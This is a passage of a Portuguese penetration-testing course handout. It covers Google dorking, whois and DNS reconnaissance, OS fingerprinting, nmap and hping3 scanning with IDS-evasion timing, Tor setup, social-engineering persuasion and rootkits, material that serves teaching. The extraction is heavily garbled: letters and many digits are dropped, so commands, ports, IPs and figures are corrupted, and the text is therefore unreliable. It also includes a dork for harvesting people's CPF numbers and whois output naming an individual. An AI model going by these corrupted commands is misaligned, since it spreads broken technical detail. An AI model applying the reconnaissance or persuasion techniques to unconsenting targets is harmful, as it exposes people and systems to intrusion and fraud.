Esses servios precisam de prossionais com um conhecimento altamente especializado, primeiro por lidar com anlises complexas, e segundo por envolver informaes sigilosas que precisam de tratamento especial, para que no sejam comprometidas de alguma maneira. Dentre os servios oferecidos por prossionais de segurana esto: Criao de Polticas de Segurana Implantao de CSIRTs Hardening de Servidores Anlise de Vulnerabilidade Teste de Invaso Anlise de Aplicao Percia Computacional Treinamento de Colaboradores Auditoria
3.10 Certicaes
Na rea de segurana, h muitas certicaes reconhecidas pelo mercado. Sendo que cada ma delas possui um foco diferente, nvel de conhecimento diferente e formas de avaliaes diversas. Abaixo listamos as principais certicaes da rea de SI: CompTIA Security+ Cisco Systems
Pgina 72
CCNA Security CCSP CCIE Security EC-Council CEH CHFI ECSA ENSA LPT GIAC GSIF GSEC GCIA GCFW GCFA GCIH GPEN GCUX GCWN GWAPT GAWN GREM GSE ISACA CISA CISM ISECOM OPSA OPST Offensive Security OSCP OSCE Dentro do contedo estudado e de acordo com o contexto que estamos estudando, algumas certicaes possuem em sua avaliao muito dos assuntos abordados em aula. Podemos citar, dentre essas, as certicaes: CEH, ECSA, LPT, OPSA, OSCP, GPEN
Pgina 73
Pgina 75
4.3.5 Tandem
Nessa modalidade o auditor tem total conhecimento sobre o alvo, o alvo sabe que ser atacado e o que ser feito durante o ataque. Tambm conhecido como caixa de cristal. Esse tipo de pen test bem prximo de uma auditoria, pois ambos esto preparados e sabem o que vai ser realizado. o ideal para ser feito periodicamente, monitorando as vulnerabilidades novas e mudanas feitas na infraestrutura.
4.3.6 Reversal
Nessa modalidade o auditor tem conhecimento total do alvo, porm o alvo no sabe que ser atacado, e to pouco sabe quais testes sero executados. Esse formato de teste ideal para testar a capacidade de resposta e como est o timing de ao da equipe de resposta a incidentes do alvo.
Pgina 76
4.4.2 Varredura
Nessa fase o atacante busca informaes mais detalhadas o alvo, que posam permitir denir seus vetores de ataque e enxergar as possibilidades que podem permitir ganhar acesso ao sistema, atravs da explorao de alguma falha encontrada.
Pgina 77
Aqui buscamos informaes que respondam algumas perguntas, como por exemplo: Qual sistema operacional o alvo utiliza? Quais os servios esto sendo executados no alvo? Quais servios esto disponveis para acesso? Qual a verso de cada servio sendo executado? H IDS/IPS na rede? H honeypots na rede? H rewalls na rede? Existe uma rede interna e outra externa, como uma DMZ? H servios com acesso pblico rodando em alguma mquina? H algum software malicioso j sendo executado em alguma mquina? A partir dessas informaes, o atacante pode buscar maiores detalhes na internet ou fruns especializados em busca de exploits que permitam explorar falhas existentes nas verses dos servios sendo executados.
Pgina 78
Ataque de engenharia social Ataques s aplicaes WEB Explorao de servios Explorao de sistema operacional Conseguindo acesso ao sistema, o atacante realizar uma srie de operaes buscando a elevao de seus privilgios caso o mesmo j no seja de root.
Pgina 79
Pgina 80
Nesses casos, o cliente precisa visitar um site, ou abrir um e-mail, ou ento abrir um arquivo que explorar a aplicao que est instalada no computador do cliente. Packs como Mpack e IcePack exploram vulnerabilidades em navegadores webs, ou seja, realizam um client side attack.
Pgina 81
Os resultados devem ser consistentes Os resultados devem conter apenas o que foi obtido com os testes Essas so as premissas de um teste de intruso. Ainda em acordo com a OSSTMM, o resultado nal deve conter os seguintes tpicos: Data e hora dos testes Tempo de durao dos testes Analistas e pessoas envolvidas Tipo do teste Escopo do teste O resultado da enumerao Margens de erro Qualicao do risco Qualquer tipo de erro ou anomalia desconhecida
Dica: a metodologia OSSTMM voltada mais para testes em sistemas e infraestrutura, apesar de tambm contemplar testes em aplicaes WEB. A metodologia desenvolvida pelo OWASP, j especca para testes de invaso em aplicaes WEB.
Pgina 82
no que foi contratado e acertado, entre o cliente e o pen tester. Aqui denimos tudo, desde o escopo, ao tipo de teste que ser realizado. Aqui tambm denido o que permitido e o que no permitido realizar durante o teste. Passo 2: Prepare o contrato de servio e pea ao cliente para assin- los; Depois de tudo denido no primeiro passo, feito um contrato de prestao de servio, onde est descrito o que ser realizado (escopo, horrios, equipe de prossionais, permisses, etc) e assinado por contratado e contratante. Alm de um contrato de prestao de servio, de grande importncia a assinatura de um NDA (non disclosure agreement), que dene que as informaes que a equipe do teste de invaso ter acesso, no sero revelados ou divulgados, excetuando-se pessoa que assinou o contrato de prestao de servio. Passo 3: Prepare um time de prossionais e agende o teste; Aqui reunimos os prossionais que participaro dos testes e lhes passamos todas as informaes pertinentes ao que ser realizado. A partir da formao da equipe e denio de papis para cada prossional, podemos agendar o teste com o cliente e iniciar o planejamento do mesmo com a equipe em conjunto. Passo 4: Realize o teste; Nesse passo onde o teste efetivamente executado. Lembrando sempre de seguir o que foi acordado com o cliente e respeitar as clusulas do contrato e NDA assinados. Passo 5: Analise os resultados e prepare um relatrio; Todas as informaes coletadas, resultados obtidos e ocorrncias durante a realizao do teste so posteriormente reunidas e analisadas. Os resultados dessas anlises so colocados em um relatrio, contextualizados, e feita a descrio, explicao e possvel soluo para cada falha encontrada e explorada. Passo 6: Entregue o relatrio ao cliente. O relatrio ps-teste, entregue APENAS para a pessoa responsvel pela contratao do teste de invaso, ou denida em contrato. Como as informaes contidas em tal relatrio so extremamente sensveis, deve-se tomar o mximo cuidado possvel para que o mesmo no caia nas mos de pessoas sem autorizao para ter acesso ao mesmo. O ideal que a equipe no guarde nem mesmo uma cpia do relatrio, e isso deve ser denido no NDA e no contrato de servio.
Pgina 83
Essa medida extrema tomada justamente para evitar qualquer vazamento possvel de informaes.
Pgina 84
5 Google Hacking
5.1 Google Hacking
Google Hacking a atividade de usar recursos de busca do site, visando atacar ou proteger melhor as informaes de uma empresa. As informaes disponveis nos servidores web da empresa provavelmente estaro nas bases de dados do Google. Um servidor mal congurado pode expor diversas informaes da empresa no Google. No difcil conseguir acesso a arquivos de base de dados de sites atravs do Google. O Google possui diversos recursos que podem ser utilizados durante um teste de invaso, e justamente por isso considerada a melhor ferramenta para os hackers, pois permite acesso a todo e qualquer tipo de informao que se queira. Podemos usar como exemplo, o recurso de cache do Google, onde o mesmo armazena verses mais antigas de todos os sites que um dia j foram indexados por seus robs. Esse recurso permite que tenhamos acesso s pginas que j foram tiradas do ar, desde que ainda existam na base de dados do Google. Vamos imaginar que em algum momento da histria do site de uma organizao, uma informao mais sensvel estivesse disponvel. Depois de um tempo, o webmaster tendo sido alertado retirou tal informao do site. No entanto, se a pgina do site j tiver sido indexada pelo Google, possvel que mesmo tendo sido alterada, ou retirada, ainda possamos acess-la utilizando o recurso de cache do Google.
Google Hacking
Quando utilizamos o comando intitle, importante prestar ateno sintaxe da string de busca, posto que a palavra que segue logo aps o comando intitle considerada como a string de busca. O comando allintitle quebra essa regra, dizendo ao Google que todas as palavras que seguem devem ser encontradas no title da pgina, por isso, esse ltimo comando mais restritivo.
5.2.3 letype
Busca por um arquivo de determinado tipo. O Google pesquisa mais do que apenas pginas web. possvel pesquisar muitos tipos diferentes de arquivos, incluindo PDF (Adobe Portable Document Format) e Microsoft Ofce. O operador letype pode ajud-lo na busca de tipo de arquivos especcos. Mais especicamente, podemos utilizar esse operador para pesquisas de pginas que terminam em uma determinada extenso.
5.2.4 allintext
Localiza uma string dentro do texto de uma pgina. O operador allintext talvez o mais simples de usar, pois realiza a funo de busca mais conhecida como: localize o termo no texto da pgina.
Pgina 86
Google Hacking
Embora este operador possa parecer genrico para ser utilizado, de grande ajuda quando sabe que a string de busca apenas poder ser encontrada no texto da pgina. Utilizar o operador allintext tambm pode servir como um atalho para "encontrar esta string em qualquer lugar, exceto no title, URL e links".
5.2.5 site
Direciona a pesquisa para o contedo de um determinado site. Apesar de ser tecnicamente uma parte da URL, o endereo (ou nome de domnio) de um servidor pode ser mais bem pesquisada com o operador site. Site permite que voc procure apenas as pginas que esto hospedadas em um servidor ou domnio especco.
5.2.6 link
Busca por links para uma determinada pgina. Em vez de fornecer um termo de pesquisa, o operador necessita de um link URL ou nome do servidor como um argumento.
5.2.7 inanchor
Localiza texto dentro de uma ncora de texto. Este operador pode ser considerado um companheiro para o operador link, uma vez que ambos buscam links. O operado inanchor, no entanto, pesquisa a representao de texto de um link, no o URL atual. Inanchor aceita uma palavra ou expresso como argumento, como inanchor:click ou inanchor:linuxforce. Este tipo de pesquisa ser til especialmente quando comeamos a estudar formas de buscar relaes entre sites.
Pgina 87
Google Hacking
5.2.8 daterange
Busca por pginas publicadas dentro de um range de datas. Voc pode usar este operador para localizar pginas indexadas pelo Google em um determinado intervalo de datas. Toda vez que o Google rastreia uma pgina, a data em sua base de dados alterada. Se o Google localizar alguma pgina Web obscura, pode acontecer de index-la apenas uma vez e nunca retornar ela. Se voc achar que suas pesquisas esto entupidas com esses tipos de pginas obscuras, voc pode remov-las de sua pesquisa (e obter resultados mais atualizados) atravs do uso ecaz do operador daterange. Lembrando que a data deve ser informada no formato do calendrio Juliano, informando o nmero de dias existentes entre 4713 AC e a data em que se quer buscar.
5.2.9 cache
Mostra a verso em cache de uma determinada pgina. Como j discutimos, o Google mantm "snapshots"de pginas que indexou e que podemos acessar atravs do link em cache na pgina de resultados de busca. Se quiser ir direto para a verso em cache de uma pgina, sem antes fazer uma consulta ao Google para chegar ao link em cache na pgina de resultados, voc pode simplesmente usar o operador cache em uma consulta, como cache:blackhat.com
5.2.10 info
Mostra contedo existente no sumrio de informaes do Google. O operador info mostra o resumo das informaes de um site e fornece links para outras pesquisas do Google que podem pertencer a este site. O parmetro informado este operador, deve ser uma URL vlida.
Pgina 88
Google Hacking
5.2.11 related
Mostra sites relacionados. O operador related exibe o que o Google determinou como relacionado a um determinado site. O parmetro para esse operador uma URL vlida. possvel conseguir essa mesma funcionalidade, clicando no link "Similar Pages"a partir de qualquer pgina de resultados de busca, ou usando o "Find pages similar to the page"da pgina do formulrio de pesquisa avanada
GHD http://www.exploit-db.com/google-dorks/
Pgina 89
Google Hacking
Um simples exemplo do que podemos encontrar no Google, e que pode voltar- se contra a pessoa que disponibilizou tais informaes online, o seguinte: digitar na caixa de busca currculo + cpf . Certamente vrios resultados retornaro com links onde podemos encontrar nome completo, endereo, telefone, CPF, identidade e mais algumas informaes das pessoas que disponibilizaram seus dados na internet. Tendo conhecimento de como esses dados podem ser utilizados de maneira maliciosa, podemos ter mais conscincia ao publicarmos quaisquer informaes nossas na internet.
Pgina 90
6 Levantamento de Informaes
6.1 Objetivos
Conhecer os principais meios para coletar informaes sobre o alvo Coletar informaes utilizando ferramentas pblicas Coletar informaes utilizando ferramentas especcas Levantar domnios utilizando consultas pblicas e ferramentas
6.2 Footprint
Footprint a primeira etapa a ser realizada em um teste de intruso. Durante essa etapa, o Pen-tester coleta o mximo de informaes para alimentar a anatomia de ataque. Podemos dizer que a fase em que o Pen-tester se prepara para realizar o ataque. Em mdia, um Pen-tester gasta 70% do tempo analisando um alvo e levantando informaes sobre o mesmo. Apenas 30% do tempo e usado para realizar o ataque e avaliar a possibilidade de um atacante realizar procedimentos ps-invaso na mquina alvo. Quando estamos realizando um footprint, devemos buscar informaes relativas topologia da rede, sistemas operacionais, quantidade de mquinas e localizao fsica. Alm disso, importante tambm descobrir informaes sobre os funcionrios da empresa, como: emails, cargos e tambm funo especca no ambiente.
Levantamento de Informaes
"D-me seis horas para cortar uma rvore, e eu gastarei as primeiras quatro horas aando o machado."
Abraham Lincoln
Pgina 92
Levantamento de Informaes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
domain : owner : ownerid : country : owner -c: admin -c: tech -c: billing -c : nserver : nsstat : nslastaa : nserver : nsstat : nslastaa : saci : created : expires : changed : status : nic - hdl - br : person : e - mail : created : changed :
linuxforce . com . br maria rosa mariano galvao 696.856.9 6 BR MRMGA MRMGA SRG1 7 MRMGA ns1 . linuxforce . com . br 1 8.163.17 .146 2 121123 AA 2 121123 ns2 . linuxforce . com . br 1 8.163.17 .147 2 121123 AA 2 121123 yes 2 1 12 1 # 76331 1 2 1212 1 2 12 411 published MRMGA maria rosa mariano galvao marcio@linuxforce . com . br 2 1 9 1 2 11 929
Podemos concluir que com um simples comando, disponvel em praticamente qualquer sistema operacional, foi possvel obter o nome do responsvel pelo domnio, o nome do responsvel tcnico pelo domnio, o nome dos dois servidores de DNS e o CNPJ da empresa, localizado no campo ownerid.
Pgina 93
Levantamento de Informaes
Alm da consulta whois em sistemas operacionais, possvel ainda utilizar servios que consultam o a base de dados de proprietrios de domnios atravs de ferramentas web, como o prprio http://registro.br, por exemplo.
https://registro.br/cgi-bin/whois/
Se compararmos a sada do site com a sada do comando whois, veremos que o resultado idntico. importante saber que para cada regio do mundo inteiro, h organizaes responsveis pelo registro de domnios, acima das organizaes responsveis pelos registros em cada pas. No quadro abaixo, temos o nome e o endereo das organizaes responsveis em cada parte do globo pelo gerenciamento e liberao de domnio (incluindo o grupo de IPs) para cada regio:
Pgina 94
Levantamento de Informaes
Os campos MX, e NS fornecem, respectivamente, o nome dos servidores de e-mail e o nome de todos os servidores de DNS. Com essa consulta, j conseguimos, inclusive, endereos de servidores que utilizaremos em nossa varredura e enumerao de servios.
http://www.archive.org
Com isso, podemos encontrar informaes que podem ser teis, principalmente para ataques de engenharia social, pois encontramos produtos antigos, ex-funcionrios, informaes que foram retiradas do site por serem sensveis e etc. Utilizando esse servio e pesquisando o site da Linux Force, obtemos o seguinte resultado:
Pgina 95
Levantamento de Informaes
6.7 Webspiders
Webspiders so programas que navegam automaticamente por websites para coletar informaes. Pensando no Google, um webspider feito pelo Google navega pelos links das pginas e alimenta uma base de dados do Google, que usada para consultas durante as buscas realizadas pelos usurios. Vamos parar e lembrar como funcionavam antigamente os sistemas de buscas como Yahoo!, Cade?, Aonde.com, dentre outros. Antigamente, ns precisvamos cadastrar os nossos sites e as palavras chave referentes ao site, para ele ser encontrado durante as buscas. Porm, o Google inovou na maneira de alimentar as bases de dados dele, usando webspider. Hoje, basta que um site esteja na internet e linkado para que ele aparea nas bases do Google, sem precisar de nenhum cadastro por parte do criador do site nas ferramentas de buscas. Porm, isso exps muitas informaes e para isso, foram criados os arquivos robots.txt. Um webspider consulta o arquivo robots.txt que est localizado no diretrio raiz do website para saber quais arquivos ele no deve analisar. Portanto, os arquivos ou diretrios que esto listados em um arquivo robots.txt no aparecero nos resultados das buscas realizadas em sites como o Google. Vamos a um exemplo:
http://www.linuxforce.com.br/robots.txt
Portanto, os arquivos robots.txt podem revelar para ns informaes sobre arquivos e diretrios que poderamos no conhecer e at mesmo no estar linkado no site. Mais informaes sobre os arquivos robots.txt podem ser obtidas no site
http://www.robotstxt.org/orig.html
Pgina 96
Levantamento de Informaes
6.8 Netcraft
Netcraft uma empresa europia que prove servios de internet. Dentro de alguns servios que ela fornece est a anlise de mercado para empresas de web hosting e servidores web, incluindo deteco do sistema operacional e verso do servidor web, e em alguns casos, informaes sobre uptime do servidor, j que normalmente esse fator determinante na escolha de uma empresa de hospedagem de sites. Para ns, pode ser til para exibir a verso do sistema operacional e servidor web que um determinado host est usando, alm de manter um histrico das verses que o mesmo host j usou anteriormente.
http://www.netcraft.com
Pgina 97
Levantamento de Informaes
Pgina 98
Levantamento de Informaes
Message-ID: Identicador de mensagem nico. Valor nico determinado pelo servidor que transmite a mensagem; In-Reply-To: Usado quando uma mensagem respondida. mensagem respondida. Identicador da mensagem respondida; References: Usado quando uma Referncias. Campos de informao: Subject: Assunto da mensagem; Comments: Comentrios sobre a mensagem; Keywords: Palavras chaves relacionadas mensagem; Campos de Rastreamento: Return-Path: Caminho de volta da mensagem para o remetente. Esse campo adicionado pelo ltimo MTA que entrega o e-mail ao destinatrio Received: Contm informaes para ajudar na anlise de problemas com a entrega e recebimento das mensagens. Todo e-mail possui pelo menos um campo Received, que adicionado por cada servidor onde a mensagem passa. O campo que interessa a ns o campo Received:, que contm informaes sobre o endereo IP de onde a mensagem de correio eletrnico partiu.
6.11 Fingerprint
Fingerprint uma das principais tcnicas de levantamento de informao (footprint) que realizada por um Pen-Tester antes que o mesmo comece a realizar os ataques em seu alvo. A funo dessa tcnica identicar a verso e distribuio do sistema operacional que ir receber a tentativa de intruso. Sendo assim, essa tcnica extremamente importante para que o atacante consiga desenvolver de maneira mais precisa e menos ruidosa seu ataque. Usando essa tcnica o Pen-Tester estar explorando proble-
Pgina 99
Levantamento de Informaes
mas da pilha TCP/IP e vericando caractersticas nicas que permitem que o sistema alvo seja identicado. S depois que isso for feito, podero ser escolhidas as melhores ferramentas para explorar o sistema. Para que o ngerprint apresente resultados conveis so necessrias anlises complexas, como: Analise de pacotes que trafegam pela rede; Leitura de banners (assinaturas do sistema); Anlise de particularidades da pilha TCP/IP. Para realizar tais anlises, podemos utilizar ferramentas especcas, conhecidas como scanners de ngerprint, que so softwares usados para realizar tarefas de deteco de sistemas operacionais. Entre os scanners existentes, podemos dividi-los basicamente em dois tipos:
# p f -i eth
-o log
Com o parmetro -i denimos em qual dispositivo de rede ele car farejando os pacotes, se no denimos nada, ele assume all, farejando todos os dispositivos disponveis. Com o parmetro -o, dizemos para o p0f armazenar tudo o que for capturado em um arquivo de sada, com nome denido por ns.
Pgina 100
Levantamento de Informaes
1 2 3 4 5
# ping linuxforce . com . br PING linuxforce . com . br (1 8.163.17 .15 ) 56(84) bytes of data . 64 bytes from 1 8.163.17 .15 : icmp_seq =2 ttl =47 time =325 ms 64 bytes from 1 8.163.17 .15 : icmp_seq =3 ttl =47 time =471 ms 64 bytes from 1 8.163.17 .15 : icmp_seq =4 ttl =47 time =373 ms
A informao importante est no campo TTL (Time To Live). A maioria dos sistemas operacionais se diferencia pelo valor retornado de TTL. Veja a lista abaixo: Cyclades - Normalmente 30 Linux - Normalmente 64 Windows - Normalmente 128 Cisco - Normalmente 255 Linux + iptables - Normalmente 255
Pgina 101
Levantamento de Informaes
1 2 3
# ping linuxforce . com . br PING linuxforce . com . br (1 8.163.17 .15 ) 56(84) bytes of data . 64 bytes from 1 8.163.17 .15 : icmp_seq =2 ttl =47 time =325 ms
Somando a quantidade de saltos (13) com o valor de ttl (47), temos 60. O mais prximo de 60 64, que representa o Linux. A partir da, podemos concluir que o sistema operacional utilizado no servidor onde o site est hospedado Linux.
Pgina 102
Levantamento de Informaes
Percebe-se que quanto maior o nmero de informaes que passamos para o xprobe2, maior a preciso no reconhecimento do Sistema Operacional do alvo.
6.14 Contramedidas
Congurar as aplicaes instaladas nos servidores, atentando para as informaes que elas exibem durante as requisies. Congurar corretamente as regras de rewall para bloquear requisies maliciosas. Ter cuidado com as informaes publicadas na WEB. Congurar corretamente o arquivo robot.txt, para que diretrios com arquivos sensveis no sejam indexados pelos sistemas de busca.
Pgina 103
7 Engenharia Social
7.1 O que Engenharia Social?
Podemos considerar a engenharia social como a arte de enganar pessoas para conseguir informaes, as quais no deviam ter acesso. Muitas vezes empregados de uma empresa deixam escapar informaes sigilosas atravs de um contato via telefone ou mesmo conversando em locais pblicos como: corredores, elevadores e bares. Uma empresa pode ter os melhores produtos de segurana que o dinheiro pode proporcionar. Porm, o fator humano , em geral, o ponto mais fraco da segurana.
Engenharia Social
Pgina 105
Engenharia Social
7.3.6 Persuaso
Os prprios hackers vem a engenharia social de um ponto de vista psicolgico, enfatizando como criar o ambiente psicolgico perfeito para um ataque.
Pgina 106
Engenharia Social
Os mtodos bsicos de persuaso so: personicao, insinuao, conformidade, difuso de responsabilidade e a velha amizade. Independente do mtodo usado, o objetivo principal convencer a pessoa que dar a informao, de que o engenheiro social de fato uma pessoa a quem ela pode conar as informaes prestadas. Outro fator importante nunca pedir muita informao de uma s vez e sim perguntar aos poucos e para pessoas diferentes, a m de manter a aparncia de uma relao confortvel.
http://www.social-engineer.org/framework/Social_Engineering_Framework
Pgina 107
. /24
No caso do nmap, se utilizarmos a opo Ping Scan (-sP), observamos que mesmo se uma mquina estiver bloqueando pacotes ICMP, ele poder list-la como ativa, pois ele tambm envia pacotes TCP para algumas portas, como por exemplo a porta 80. Assim, conseguimos a lista de todos os computadores que respondem ping na rede.
De acordo com a imagem, o cliente, que deseja conectar-se a um servidor, envia um pedido de conexo, ou seja, no cabealho do datagrama TCP contm uma ag do
Pgina 109
tipo SYN. O servidor, que est apto a atender novas requisies responde ento com um datagrama TCP contendo uma ag do tipo SYN+ ACK. O cliente ento responde com um datagrama contendo um ACK, e ento estabelecida a conexo. De acordo com a RFC 793, que dene os parmetros para o protocolo TCP, toda porta aberta deve responder com a ag SYN+ACK, e toda porta fechada deve responder com uma ag RST. Para identicar este comportamento, vamos utilizar a ferramenta linha de comando hping3. Vericando o comportamento de um servidor com a porta 80 aberta.
# hping3 -- syn -c 1 -p 8 192.168. .173 HPING 192.168. .173 ( eth 192.168. .173) : S set , 4 bytes 3 len =46 ip =192.168. .173 ttl =128 DF id =1 67 sport =8 win =6424 rtt =4.3 ms
1 2
headers +
data
flags = SA seq =
# hping3 -- syn -c 1 -p 81 192.168. .173 HPING 192.168. .173 ( eth 192.168. .173) : S set , 4 headers + bytes 3 len =46 ip =192.168. .173 ttl =128 id =1 69 sport =81 flags = RA seq = = rtt =1. ms
1 2
data win
Perceba que as respostas so, SA, que representa um SYN + ACK, e um RA, que representa um Reset + ACK, a resposta padro para portas fechadas.
8.3 NMAP
Nmap pode ser considerada uma das ferramentas mais completas para realizar varreduras em redes, pois possui um nmero imenso de opes, permitindo explorar-
Pgina 110
mos quase todas as possibilidades de varreduras possveis. Essa ferramenta possui, inclusive, opes que permitem burlar sistemas de proteo, como IDS/IPS e Firewall, cujas regras poderiam bloquear ou detectar varreduras no permitidas. Sintaxe: nmap [Scan Type(s)] [Options] target specication
8.4.2 -sV
Version detection: Aps as portas TCP e/ou UDP serem descobertas por algum dos mtodos, o nmap ir determinar qual o servio est rodando atualmente. O arquivo nmap-service-probes utilizado para determinar tipos de protocolos, nome da aplicao, nmero da verso e outros detalhes.
8.4.3 -sS
TCP SYN scan: Tcnica tambm conhecida como half-open, pois no abre uma conexo TCP completa. enviado um pacote SYN, como se ele fosse uma conexo real e aguarda uma resposta. Caso um pacote SYN-ACK seja recebido, a porta est aberta, enquanto que um RST-ACK como resposta indica que a porta est fechada. A vantagem dessa abordagem que poucos iro detectar esse scanning de portas.
Pgina 111
8.4.4 -sT
TCP connect() scan: a tcnica mais bsica de TCP scanning. utilizada a chamada de sistema (system call) connect() que envia um sinal as portas ativas. Caso a porta esteja aberta recebe como resposta connect(). um dos scan mais rpidos, porm fcil de ser detectado.
8.4.5 -sU
UDP scan: Este mtodo utilizado para determinar qual porta UDP est aberta em um host. A tcnica consiste em enviar um pacote UDP de 0 byte para cada porta do host. Se for recebida uma mensagem ICMP port unreachable ento a porta est fechada, seno a porta pode estar aberta. Para variar um pouco, a Microsoft ignorou a sugesto da RFC e com isso a varredura de mquinas Windows muito rpida.
Pgina 112
8.4.7 -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane>
Esse parmetro seta a prioridade de varredura do Nmap: Paranoid (-T0) muito lento na esperana de prevenir a deteco pelo sistema IDS. Este serializa todos os scans (scanning no paralelo) e geralmente espera no mnimo 5 minutos entre o envio de pacotes. Sneaky (-T1) similar ao Paranoid, exceto que somente espera 15 segundos entre o envio de pacotes. Polite (-T2) tem o signicado para facilitar a carga na rede e reduzir as chances de travar a mquina. Ele serializa os testes e espera no mnimo 0.4 segundos entre eles. Normal (-T3) o comportamento default do Nmap, o qual tenta executar to rpido quanto possvel sem sobrecarregar a rede ou perder hosts/portas. Aggressive(-T4) esse modo adiciona um timeout de 5 minutos por host e nunca espera mais que 1.25 segundos para testar as respostas. Insane (-T5) somente adequando para redes muito rpidas ou onde voc no se importa em perder algumas informaes. Nesta opo o timeout dos hosts acontece em 75 segundos e espera somente 0.3 segundos por teste individual.
Opes Interessantes: -p Utilizado para especicar portas -O Mostra a verso do S.O -P0 Desativa ICMP tipo 8 e o TCP ACK na porta 80
8.5 Anonymizer
Os programas de anonymizer funcionam basicamente para ocultar seus dados enquanto navega na internet. Normalmente a aplicao utilizada para isso um proxy, que aps congurado, permite que seu IP seja mascarado, fornecendo o dele como IP real.
Pgina 113
Com isso, possvel proteger o contedo de e-mails, textos de softwares de mensagens instantneas, IRC e outros aplicativos que usam o protocolo TCP. Uma boa ferramenta para utilizarmos mantendo nossos dados de navegao protegidos, o TOR The Onion Router. O programa foi desenvolvido pelo Laboratrio Central da Marinha para Segurana de Computadores, com a ajuda da Darpa (www.darpa.mil), a agncia criada no auge da guerra fria com o objetivo de transformar os Estados Unidos em uma superpotncia tecnolgica. Para quem no se lembra, foi a Darpa (na poca sem o D) quem coordenou os estudos para a construo de uma rede descentralizada de computadores, capaz de resistir a qualquer ataque localizado. Foi assim que nasceu a Arpanet, o embrio do que hoje chamamos internet. O Tor andava meio esquecido, at que a Electronic Frontier Foundation, uma entidade civil que se destaca pelo vigor com que combate nos tribunais os abusos governamentais contra os direitos individuais, decidiu apoiar politicamente o projeto e contribuir nanceiramente para que ele cresa, que forte e consiga deixar cada vez mais gente invisvel. Outro programa, que trabalha junto com o TOR, o privoxy, que evita o envio de qualquer dado enviado pelo navegado alcance a intranet, bloqueando-os no caminho. Isso evita que atravs desses dados, qualquer informao do internauta seja capturada, e sua localizao descoberta. TOR The Onion Router
http://www.torproject.org/
http://www.privoxy.org
Pgina 114
1 2 3 4 5 6
# vim / etc / apt / sources . list deb http :// deb . torproject . org / torproject . org lucid main deb - src http :// deb . torproject . org / torproject . org lucid main # gpg -- keyserver keys . gnupg . net -- recv 886 DDD89 # gpg -- export A3C4F F979CAA22CDBA8F512EE8CBC9E886DDD89 | apt - key add -
Atualizando o pacote
Instalando os pacotes
Congurando privoxy
1 2 3
Testando
1 2 3 4
# tor # nmap localhost # netstat - ntpl | grep privoxy # netstat - ntpl | grep tor
Addon do Firefox
# wget -c https :// www . torproject . org / dist / torbutton / torbutton - current . xpi
Pgina 115
https://torcheck.xenobite.eu/
1 2 3
1 . .2.15
1 . .2.1
Pgina 116
# ftp 192.168.2
.254
1 2 3 4 5 6 7 8
# telnet 192.168.2 .2 5 25 HELO [ dom nio ] MAIL FROM : [ endere o_origem ] RCPT TO : [ endere o_destino ] DATA ( ... msg ... ) . quit
Com o comando telnet, podemos tentar conectar em todas as portas existentes para vericar o que est sendo executado. Obviamente que esse um mtodo lento e impossvel de ser executado nas mais de 65000 portas existentes, mas interessante conhec-lo, e ainda evita a deteco por IDS ou rewall.
9.2.2 Ferramentas
nmap Realiza varredura de rede, buscando hosts ativos, portas abertas e servios sendo executados. xprobe2 Analisa banners de sistemas operacionais, comparando com um banco de dados interno, onde compara-os e informa o S.O. utilizado e a verso do mesmo. amap Analiza banners de servios que esto sendo executados, e informa o nome e verso.
Pgina 118
autoscan Faz varredura na rede e informa hosts ativos, portas abertas e servios sendo executados. Funciona atravs de uma interface grca. maltego Faz varredura de redes, servios, protocolos, domnios e vrias outras opes, informando de forma grca a relao entres os hosts ativos. lanmap Varre toda a rede e captura pacotes, criando ao longo de sua execuo um arquivo .PNG com o mapa da rede, informando gracamente a relao das mquinas encontradas. cheops Varre toda a rede em busca de hosts ativos, informando gracamente, atravs de um mapa, os hosts ativos, S.O. sendo executado, portas abertas, servios sendo executados. Utiliza o nmap por debaixo de sua execuo, para realizar as varreduras. nessus Atravs de plugins especcos, varre um determinado alvo, informando as vulnerabilidades encontradas, inclusive exibindo o link de onde podemos encontrar mais informaes sobre determinada vulnerabilidade e seu exploit.
Pgina 119
Ento, enquanto os troianos comemoravam a vitria e descansavam tranquilamente, os soldados gregos saram do cavalo e atacaram Tria, que acabou sendo conquistada pelos gregos. Essa histria cou conhecida como Cavalo de Tria. Ento, depois de vrios sculos desse acontecimento, acabamos descobrindo que esse truque foi ressuscitado. Os cavalos de tria dos computadores so programas que aparentemente funcionam normais, mas na verdade eles acabam realizando outra tarefa sem que o usurio tome conhecimento. Um exemplo disso quando recebemos um email contendo um jogo anexado. Quando rodamos o jogo, conseguimos jogar normalmente, mas na verdade, alem do jogo, pode estar sendo executados outros programas em conjuntos para dar acesso ao seu computador a um possvel atacante quando voc se conectar internet ou ento, voc pode ter informaes roubadas e enviadas por email para o atacante ou onde for a imaginao do hacker. Um exemplo de um cavalo de tria quando um hacker altera um arquivo do computador para se esconder ou esconder os seus arquivos dentro da maquina invadida. Isso pode ser feito alterando o programa responsvel por listar os arquivos dentro de um diretrio ou ento alterando o programa responsvel por mostrar todas as conexes ativas ao computador para o administrador. Um hacker, quando ataca uma mquina, provavelmente ele ir instalar um conjunto de ferramentas formadas por trojans e backdoor, para se esconder e garantir o acesso futuro a maquina que foi invadida. Esse conjunto de ferramenta conhecido por Rootkit.
10.3 Rootkits
Rootkit um conjunto de ferramentas que tem como objetivo ofuscar determinadas ocorrncias do sistema em que se encontra. Normalmente um rootkit constitudo por trojans e backdoors. Temos dois principais tipos de rootkits: User-land Os binrios originais so alterados por binrios modicados, alterando o uxo normal do programa;
Pgina 121
Primeiramente executado o cdigo do rootkit e s ento realizada a funcionalidade real do programa. Kernel-land Adiciona cdigo malicioso no kernel atravs de LKM (Loadable Kernel Module), drivers, insero de cdigo direto na memria, hook de syscall table; Se bem implementado, praticamente impossvel de ser detectado com o SO em execuo, precisando fazer anlise da imagem. Algumas das funcionalidades do Kernel-land rootkit: Hide Itself: O mdulo se oculta, no aparecendo na listagem de mdulos, tornando assim impossvel de descarreg-lo; File Hider: Todos os arquivos que possuir uma pr-determinada palavra em seu nome sero ocultos da visualizao; Process Hider: Todos os processos que possuir uma pr-determinada palavra em seu nome sero ocultos da visualizao; Socket Backdoor: Se um pacote com um tamanho predenido contendo uma string especicada no rootkit for recebido, ser iniciar um programa, normalmente uma backdoor.
Pgina 122
